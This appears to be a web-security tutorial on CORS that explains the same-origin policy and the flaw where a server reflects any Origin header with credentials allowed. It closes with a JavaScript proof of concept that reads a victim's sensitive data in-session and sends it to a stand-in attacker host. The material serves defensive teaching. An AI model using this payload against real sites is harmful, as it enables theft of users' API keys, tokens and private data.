#Cross-origin resource sharing (CORS)

This learning path provides an in-depth understanding of CORS, including common examples of CORS-based attacks and how to protect against these attacks.

##What is CORS (cross-origin resource sharing)?

Cross-origin resource sharing (CORS) is a browser mechanism which enables

controlled access to resources

located

outside of a given domain

. It extends and adds flexibility to the

same-origin policy (SOP)

However, it also provides potential for

cross-domain attacks

, if a website's CORS policy is poorly configured and implemented. CORS is not a protection against cross-origin attacks such as

cross-site request forgery (CSRF)

##Same-origin policy

The same-origin policy is a

restrictive cross-origin

specification that limits the ability for a website to interact with

resources outside of the source domain

###Relaxation of the same-origin policy

The same-origin policy is

very restrictive

and consequently various approaches have been devised to circumvent the constraints. Many websites interact with subdomains or third-party sites in a way that

requires full cross-origin access

. A controlled relaxation of the same-origin policy is possible using cross-origin resource sharing (CORS).

The cross-origin resource sharing protocol

uses a suite of HTTP headers

that define trusted web origins and associated properties such as whether authenticated access is permitted. These are combined in a

header exchange between a browser and the cross-origin web site

that it is trying to access.

##Vulnerabilities arising from CORS configuration issues

Many modern websites use CORS to

allow access from subdomains and trusted third parties

. Their implementation of CORS may contain mistakes or be overly lenient to ensure that everything works, and this can result in exploitable vulnerabilities.

###Server-generated ACAO header from client-specified Origin header

Some applications need to provide access to a number of other domains. Maintaining a list of allowed domains requires ongoing effort, and any mistakes risk breaking functionality. So some applications take the easy route of effectively

allowing access from any other domain

One way to do this is by

reading the Origin header

from requests and including a response header stating that the

requesting origin is allowed

. For example, consider an application that receives the following request:

GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...

It then responds with:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...

These headers state that access is allowed from the requesting domain (malicious-website.com) and that the cross-origin requests can include cookies

(Access-Control-Allow-Credentials: true)

and so will be processed in-session.

Because the application reflects arbitrary origins in the

Access-Control-Allow-Origin header

, this means that absolutely any domain can access resources from the vulnerable domain. If the response contains any sensitive information such as an API key or CSRF token, you could retrieve this by placing the following script on your website:

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
	location='//malicious-website.com/log?key='+this.responseText;
};